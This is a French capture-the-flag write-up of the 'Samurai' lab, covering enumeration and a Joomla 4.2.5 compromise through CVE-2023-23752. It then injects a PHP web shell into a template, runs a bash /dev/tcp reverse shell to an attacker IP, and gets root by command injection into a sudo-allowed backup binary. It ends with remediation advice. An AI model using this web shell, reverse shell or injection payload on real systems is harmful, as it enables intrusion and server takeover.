ZNote Logo
ZNote
Labs Pentesteasy
29-04-2026

Lab Samurai : Exploitation Joomla & Élévation de Privilèges

Compromission complète d'un serveur web hébergeant Joomla 4.2.5 via une divulgation d'informations non authentifiée (CVE-2023-23752), injection d'un web shell PHP dans un template, puis élévation de privilèges root via un binaire sudo vulnérable à l'injection de commandes.

Pentest
Joomla
CVE-2023-23752
Privilege Escalation
Command Injection
Web Shell
SUID

Contexte & Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au Lab
Cible10.0.26.6
OSUbuntu Linux
ServicesSSH (22), HTTP/Apache (80)
CVECVE-2023-23752
DifficultéFacile

Scope : Dans le cadre d'un test d'intrusion, votre équipe a identifié un serveur web intéressant. La mission est d'énumérer la cible, établir un accès initial et escalader les privilèges jusqu'à root. Aucun identifiant n'est fourni au départ.

Kill chain résumée :

Recon (Nmap) → Enum web (Feroxbuster) → Fingerprint CMS (JoomScan)
→ Exploitation CVE-2023-23752 → Web Shell PHP → Reverse Shell
→ Flag user → PrivEsc (sudo injection) → Flag root

1. Reconnaissance -Scan Nmap

On commence par identifier les services exposés sur la cible. On utilise --top-ports 100 pour cibler les ports les plus courants, -sC pour les scripts par défaut, -sV pour la détection de version, et -Pn pour ignorer le ping (utile si l'hôte ne répond pas à l'ICMP).

sudo nmap --top-ports 100 -sC -sV -Pn 10.0.26.6

Output :

Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 03:53 +0200
Nmap scan report for 10.0.26.6
Host is up (0.17s latency).
Not shown: 98 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c3:5a:83:50:80:9a:61:37:05:b7:45:96:cb:ab:1d:1e (ECDSA)
|_  256 6b:15:12:60:1b:21:d1:bf:7e:b8:c0:e8:d7:7e:7b:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Samurai

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analyse :

Deux ports ouverts seulement : SSH en 22 et un serveur web Apache en 80. Le titre de la page HTTP est "Samurai", ce qui correspond au nom du lab. SSH sans credentials n'est pas notre vecteur immédiat -on s'oriente vers le port 80.


2. Énumération Web

2.1 Découverte de répertoires avec Feroxbuster

On lance une énumération de répertoires avec feroxbuster sur la wordlist common.txt. L'outil va tester chaque entrée et suivre les redirections en profondeur (récursion à 4 niveaux).

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.0.26.6

Output (extrait pertinent) :

301  GET  http://10.0.26.6/administrator    => http://10.0.26.6/administrator/
301  GET  http://10.0.26.6/api             => http://10.0.26.6/api/
301  GET  http://10.0.26.6/cache           => http://10.0.26.6/cache/
301  GET  http://10.0.26.6/components      => http://10.0.26.6/components/
301  GET  http://10.0.26.6/images          => http://10.0.26.6/images/
301  GET  http://10.0.26.6/includes        => http://10.0.26.6/includes/
301  GET  http://10.0.26.6/language        => http://10.0.26.6/language/
301  GET  http://10.0.26.6/layouts         => http://10.0.26.6/layouts/
301  GET  http://10.0.26.6/media           => http://10.0.26.6/media/
301  GET  http://10.0.26.6/modules         => http://10.0.26.6/modules/
301  GET  http://10.0.26.6/plugins         => http://10.0.26.6/plugins/
301  GET  http://10.0.26.6/templates       => http://10.0.26.6/templates/
200  GET  http://10.0.26.6/administrator/index.php

Analyse :

L'arborescence est révélatrice : /administrator/, /components/, /modules/, /plugins/, /templates/ -c'est la structure standard d'un CMS Joomla. L'accès direct à administrator/index.php (HTTP 200) confirme que le panel d'administration est exposé publiquement.

Page d'administration Joomla

2.2 Fingerprint du CMS avec JoomScan

On utilise JoomScan (outil OWASP) pour identifier précisément la version de Joomla et détecter d'éventuelles vulnérabilités connues.

joomscan -u http://10.0.26.6

Output :

[+] Detecting Joomla Version
[++] Joomla 4.2.5

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable  ← (JoomScan ne détecte pas tout)

[+] admin finder
[++] Admin page : http://10.0.26.6/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

Analyse :

La version détectée est Joomla 4.2.5. JoomScan indique "not vulnerable" pour le core, mais cela concerne uniquement sa base de signatures -il ne couvre pas toutes les CVE récentes.

Résultat JoomScan

Une recherche rapide sur Joomla 4.2.5 CVE révèle la vulnérabilité CVE-2023-23752, présente jusqu'à la version 4.2.7 incluse.


3. Exploitation -CVE-2023-23752

Comprendre la vulnérabilité

CVE-2023-23752 est une faille de divulgation d'informations non authentifiée (Unauthenticated Information Disclosure) affectant Joomla versions 4.0.0 à 4.2.7.

L'API REST de Joomla expose des endpoints sensibles sous /api/index.php/v1/. En raison d'un contrôle d'accès défaillant, certains de ces endpoints -notamment ceux listant les utilisateurs et la configuration du site -sont accessibles sans aucune authentification.

L'endpoint critique : /api/index.php/v1/config/application?public=true

Il retourne en JSON les informations de configuration de la base de données, y compris le mot de passe en clair.

Téléchargement et lancement de l'exploit

searchsploit -m 51334
Exploit: Joomla! v4.2.8 - Unauthenticated information disclosure
    URL: https://www.exploit-db.com/exploits/51334
   Path: /usr/share/exploitdb/exploits/php/webapps/51334.py
  Codes: CVE-2023-23752
Verified: True
Copied to: /home/zcook/51334.py
chmod +x 51334.py
./51334.py http://10.0.26.6

Output :

Users
[769] Oda (Miyamoto) - oda@local.local - Super Users

Site info
Site name: Samurai
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type:     mysqli
DB host:     localhost
DB user:     joomla425
DB password: Pa847word987@Joomla456
DB name:     Dbjoomla
DB prefix:   iemj4_

Analyse :

On obtient :

  • Un compte Super User : Oda (Miyamoto) -oda@local.local
  • Les identifiants de la base de données : joomla425 / Pa847word987@Joomla456

Le mot de passe de la BDD est souvent réutilisé comme mot de passe admin Joomla. On teste directement sur le panel.

Connexion au panel d'administration

On se rend sur http://10.0.26.6/administrator/index.php et on tente :

  • Login : oda@local.local
  • Password : Pa847word987@Joomla456

Connexion Joomla réussie

Accès confirmé. Nous sommes Super Admin sur l'interface Joomla.

Panel Admin Joomla


4. Obtention d'un Reverse Shell

4.1 Injection d'un Web Shell via les templates

En tant qu'administrateur Joomla, on peut éditer les fichiers PHP des templates directement depuis l'interface. C'est notre vecteur pour exécuter du code côté serveur.

On navigue vers :

http://10.0.26.6/administrator/index.php?option=com_templates&view=templates&client_id=1

Gestion des templates Joomla

On sélectionne le template actif, puis on édite le fichier index.php. On y insère en haut du fichier le web shell suivant :

<?php
if(isset($_REQUEST["cmd"])){
    echo "<pre>";
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>";
    die;
}
?>

Comment fonctionne ce web shell ?

Ce code PHP minimaliste transforme le serveur en terminal à distance :

  1. Écoute : Il vérifie si un paramètre cmd est présent dans la requête HTTP (GET ou POST).
  2. Exécution : La fonction system() passe la commande directement au shell du serveur.
  3. Affichage : Le résultat est affiché dans le navigateur entre des balises <pre> pour préserver la mise en forme.

[!WARNING] On utilise $_REQUEST (qui accepte GET et POST) plutôt que $_GET seul pour plus de flexibilité lors de l'exploitation.

On sauvegarde le fichier. Le web shell est maintenant actif.

Web shell injecté dans le template

4.2 Test du Web Shell

On vérifie l'exécution de commandes en appelant whoami :

http://10.0.26.6/administrator/index.php?cmd=whoami

Le serveur retourne www-data -notre web shell fonctionne.

4.3 Lancement du Reverse Shell

On prépare notre listener côté attaquant :

nc -lvnp 4444

Puis on déclenche le reverse shell via le web shell. La commande à exécuter côté serveur est :

bash -c 'bash -i >& /dev/tcp/10.200.51.201/4444 0>&1'

Encodée en URL pour passer dans le paramètre cmd :

http://10.0.26.6/administrator/index.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.200.51.201/4444+0%3E%261%27

Output côté Kali :

listening on [any] 4444 ...
connect to [10.200.51.201] from (UNKNOWN) [10.0.26.6] 51356
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
www-data@streetcoder:/var/www/html/administrator$

On a un shell ! On stabilise la session pour obtenir un terminal interactif complet :

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z pour mettre en arrière-plan
stty raw -echo; fg

4.4 Vérification de l'accès

www-data@streetcoder:/var/www/html/administrator$ whoami
www-data

www-data@streetcoder:/var/www/html/administrator$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nous sommes www-data -l'utilisateur du serveur web Apache. Accès initial établi.


5. Flag Utilisateur

Le répertoire par défaut d'Apache est /var/www/. On inspecte son contenu :

www-data@streetcoder:/var/www/html/administrator$ ls -la /var/www/
total 12
drwxr-xr-x  4 root     root     4096 Mar  6 09:36 .
drwxr-xr-x 14 root     root     4096 Mar  6 08:50 ..
-rw-r-----  1 root     www-data   23 Mar  6 09:36 user.txt
drwxr-xr-x  2 root     root     4096 Mar  6 08:50 html.bak_2026-03-06_084923
drwxr-xr-x 18 www-data www-data 4096 Apr  7 17:09 html

Le fichier user.txt est lisible par www-data (groupe www-data, permissions r-----). On le lit :

www-data@streetcoder:/var/www/html/administrator$ cat /var/www/user.txt
flag{Tachi_794-1185}

[!NOTE] Le nom du flag fait référence au tachi, un sabre japonais à longue lame utilisé entre les périodes Heian et Muromachi (794–1185). Thème samouraï cohérent avec le nom du lab.


6. Élévation de Privilèges

6.1 Analyse des permissions sudo

On vérifie ce que www-data peut exécuter avec des privilèges élevés :

www-data@streetcoder:/var/www/html/administrator$ sudo -l
Matching Defaults entries for www-data on streetcoder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User www-data may run the following commands on streetcoder:
    (root) NOPASSWD: /opt/backup/DbMaria

Analyse :

www-data peut exécuter /opt/backup/DbMaria en tant que root, sans mot de passe. Ce binaire est notre cible pour l'élévation de privilèges.

6.2 Inspection du binaire DbMaria

www-data@streetcoder:/opt/backup$ ls -l /opt/backup/
total 16
-rwsr-xr-x 1 root root 16128 Mar  6 09:38 DbMaria
www-data@streetcoder:/opt/backup$ file DbMaria
DbMaria: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=dfb0bf8319563ccca311f917b82f9ca0a051204f,
for GNU/Linux 3.2.0, not stripped

C'est un binaire ELF 64 bits avec le bit SUID positionné (-rwsr-xr-x). On l'analyse avec strings pour comprendre ce qu'il fait :

www-data@streetcoder:/opt/backup$ strings DbMaria
/lib64/ld-linux-x86-64.so.2
system
setuid
snprintf
libc.so.6
Usage: %s <database>
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql

Analyse -la vulnérabilité :

La ligne clé est :

mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql

Le %s est un placeholder de type snprintf -le binaire construit la commande en y insérant directement l'argument fourni par l'utilisateur, sans aucun nettoyage ni validation.

C'est une vulnérabilité d'injection de commandes (Command Injection). En injectant un point-virgule ; dans l'argument, on peut terminer prématurément la commande mariadb-dump et enchaîner une commande arbitraire exécutée avec les privilèges root.

Schéma de l'injection :

Commande construite sans injection :
  mariadb-dump [...] -u root Dbjoomla > /tmp/backup.sql

Commande construite avec injection ('test; /bin/bash -p #') :
  mariadb-dump [...] -u root test; /bin/bash -p # > /tmp/backup.sql
  \_____________________________/ \_____________/ \_________________/
         mariadb-dump échoue       bash root lancé  commenté par #

Le # en fin de payload commente le > /tmp/backup.sql qui aurait empêché l'exécution du shell.

6.3 Exploitation

www-data@streetcoder:/opt/backup$ sudo /opt/backup/DbMaria 'test; /bin/bash -p #'
mariadb-dump: Got error: 1049: "Unknown database 'test'" when selecting the database
[... output mariadb-dump ignoré ...]

root@streetcoder:/opt/backup# whoami
root

root@streetcoder:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)

Nous sommes root.


7. Flag Root

root@streetcoder:/opt/backup# cat /root/root.txt
flag{Katana_1603-1868}

[!NOTE] Le katana est le sabre emblématique des samouraïs, répandu à partir de la période Edo (1603–1868). La progression Tachi → Katana suit l'évolution historique de l'armement samouraï -une easter egg dans le nommage des flags.


8. Conclusion & Remédiation

Chaîne d'attaque complète

1. Nmap          → Apache + SSH exposés
2. Feroxbuster   → Structure Joomla identifiée
3. JoomScan      → Joomla 4.2.5 détecté
4. CVE-2023-23752 → Credentials BDD en clair via API REST non protégée
5. Panel admin   → Password réutilisé → accès Super Admin
6. Template edit → Web Shell PHP injecté
7. Reverse shell → Accès www-data
8. sudo -l       → DbMaria NOPASSWD
9. strings       → Injection de commandes identifiée
10. sudo inject  → Shell root obtenu

Vecteurs vulnérables

VecteurProblèmeRemédiation
Joomla 4.2.5CVE-2023-23752 : API REST sans authMettre à jour vers Joomla ≥ 4.2.8
Réutilisation de MDPMDP BDD = MDP adminUtiliser des mots de passe distincts
Panel admin exposé/administrator/ accessible publiquementRestreindre l'accès par IP ou .htaccess
Template éditableModification de fichiers PHP depuis l'UIDésactiver l'édition de fichiers en production
DbMaria sudo NOPASSWDInjection de commandes non filtréeValider/échapper les inputs ; éviter NOPASSWD sur des binaires custom

Writeup rédigé par ZCook